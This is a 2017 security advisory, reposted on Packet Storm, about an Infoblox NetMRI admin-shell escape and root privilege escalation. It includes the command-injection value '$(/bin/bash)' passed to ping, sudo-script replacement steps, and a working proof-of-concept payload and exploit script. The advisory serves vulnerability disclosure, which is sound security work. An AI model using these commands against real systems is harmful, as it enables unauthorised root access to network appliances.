exploit the possibilities

Infoblox NetMRI 7.1.4 Shell Escape / Privilege Escalation

Infoblox NetMRI 7.1.4 Shell Escape / Privilege Escalation
Posted Oct 25, 2017
Authored by Hank Leininger, Matthew Bergin | Site korelogic.com

Infoblox NetMRI versions 7.1.2 through 7.1.4 suffer from administration shell escape and privilege escalation vulnerabilities.

tags | exploit, shell, vulnerability
SHA-256 | cf2764068642712d57bf637c469af8efd08229679a4265ceb71c2691a388b2a0

Infoblox NetMRI 7.1.4 Shell Escape / Privilege Escalation

Change Mirror Download
KL-001-2017-017 : Infoblox NetMRI Administration Shell Escape and Privilege Escalation

Title: Infoblox NetMRI Administration Shell Escape and Privilege Escalation
Advisory ID: KL-001-2017-017
Publication Date: 2017.10.24
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-017.txt

1. Vulnerability Details

Affected Vendor: Infoblox
Affected Product: NetMRI
Affected Version: 7.1.2 - 7.1.4
Platform: Embedded Linux
CWE Classification: CWE-78: Improper Neutralization of Special Elements
used in an OS Command ('OS Command Injection'),
CWE-272: Least Privilege Violation
Impact: Root Access
Attack vector: SSH

2. Vulnerability Description

An authenticated user can escape the management shell and
subsequently escalate to root via insecure file ownership and
sudo permissions.

3. Technical Description

The attacker begins by logging into the NetMRI CLI using a
previously acquired or default admin account credential.

$ ssh admin@
Last login: Mon Mar 13 15:04:37 2017 from


NetMRI Administrative Shell

Available Commands:
acl ftp md5sum register setup
autoupdate grep more remoteCopy show
cat halt netstat removedsb snmpwalk
clear help ping removemib ssh-key
configure installdsb provisiondisk repair supportbundle
debug installhelpfiles quit reset telnet
deregister installmib rdtclient restore tftpsync
diagnostic license reboot rm top
exit ls recalculate-spm route traceroute
export maintenance refreshgroups set

A bash command can then be encapsulated using the $()
technique. In the case below, we simply call the bash binary.

NetMRI-VM-AD30-5C6CE> ping $(/bin/bash)
NOTE: Defaulting to MGMT network. Use -I to bind to a specific network...

This places us in a new shell. This is the shell of a normal
user who has been given access to a subset of commands using

The admin and netmri accounts are permitted to execute various
system commands from /bin/ and /usr/bin/ with any arguments
sufficient to trivially escalate to root access such as /bin/cp,
/bin/chmod, /bin/mv, /usr/sbin/find, etc., as well as some
vendor-specific programs under /tools/. These can be used to
escalate to root by overwriting /etc/shadow, creating a setuid
shell, etc.

In addition, numerous commands in users' home directories can be
executed as root via sudo, such as multiple /home/admin/*
commands runnable by user admin, and /home/reset/FactoryReset for
user reset. One such example is runTop. runTop is a script which
resides in the home directory of the admin user.

In order to escalate privileges to root using a sudo-able command
in a user's home directory, an attacker can move the real file,
then create a malicious replacement and call it using sudo:

[admin@NetMRI-VM-AD30-5C6CE Backup]$ cd /home/admin
[admin@NetMRI-VM-AD30-5C6CE ~]$ mv /home/admin/runTop /home/admin/runTop.orig
[admin@NetMRI-VM-AD30-5C6CE ~]$ echo '#!/bin/bash' > /home/admin/runTop
[admin@NetMRI-VM-AD30-5C6CE ~]$ echo /bin/bash >> /home/admin/runTop
[admin@NetMRI-VM-AD30-5C6CE ~]$ chmod a+x /home/admin/runTop
[admin@NetMRI-VM-AD30-5C6CE ~]$ sudo /home/admin/runTop

Now we have root.

[root@NetMRI-VM-AD30-5C6CE ~]# id;uname -a
uid=0(root) gid=0(root) groups=0(root)
Linux NetMRI-VM-AD30-5C6CE 3.14.25.osib. #1 SMP Thu Sep 29 12:50:42 UTC 2016 x86_64 x86_64 x86_64
[root@NetMRI-VM-AD30-5C6CE ~]#

The users admin, netmri, and reset all have similar NOPASSWD
sudoers entries for scripts and/or binaries which the privilege
escalation can be performed against.

4. Mitigation and Remediation Recommendation

There is no known remediation of this vulnerability from the
vendor. Administrators should heavily restrict access to any
account of any privilege which can use the ping command in
the NetMRI CLI.

Network access to management interfaces should be properly

5. Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel)
and Hank Leininger of KoreLogic, Inc.

6. Disclosure Timeline

2017.07.21 - KoreLogic requests security contact and PGP key
from Infoblox.
2017.07.21 - Infoblox suggests 'security_support@infoblox.com'
with PGP key id 0xC4AB2799.
2017.07.24 - KoreLogic submits vulnerability information to Infoblox.
2017.07.31 - 5 business days have elapsed since the vulnerability
was reported. No response from Infoblox.
2017.09.15 - KoreLogic requests update from Infoblox.
2017.09.26 - 45 business days have elapsed since the vulnerability
was reported to Infoblox.
2017.10.17 - KoreLogic requests an update from Infoblox.
2017.10.18 - 60 business days have elapsed since the vulnerability
was reported to Infoblox.
2017.10.24 - KoreLogic public disclosure.

7. Proof of Concept

Payload file (.a)

mv /home/admin/runTop /home/admin/runTop.orig
echo '#!/bin/bash' > /home/admin/runTop
echo /bin/bash >> /home/admin/runTop
chmod a+x /home/admin/runTop
sudo /home/admin/runTop
/bin/rm -rf /home/admin/runTop
mv /home/admin/runTop.orig /home/admin/runTop
/bin/rm -rf /var/home/admin/chroot-home/Backup/.a

Exploit bash script

scp -P $TARGET_PORT netmri-privesc $TARGET_USER@$TARGET_HOST:.a
ssh -p $TARGET_PORT $TARGET_USER@$TARGET_HOST 'ping $(/bin/bash .a)'

The contents of this advisory are copyright(c) 2017
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.

Our public vulnerability disclosure policy is available at:

Login or Register to add favorites

File Archive:

May 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    0 Files
  • 2
    May 2nd
    15 Files
  • 3
    May 3rd
    19 Files
  • 4
    May 4th
    24 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    14 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    13 Files
  • 10
    May 10th
    7 Files
  • 11
    May 11th
    99 Files
  • 12
    May 12th
    45 Files
  • 13
    May 13th
    7 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    26 Files
  • 18
    May 18th
    4 Files
  • 19
    May 19th
    17 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2022 Packet Storm. All rights reserved.

Security Services
Hosting By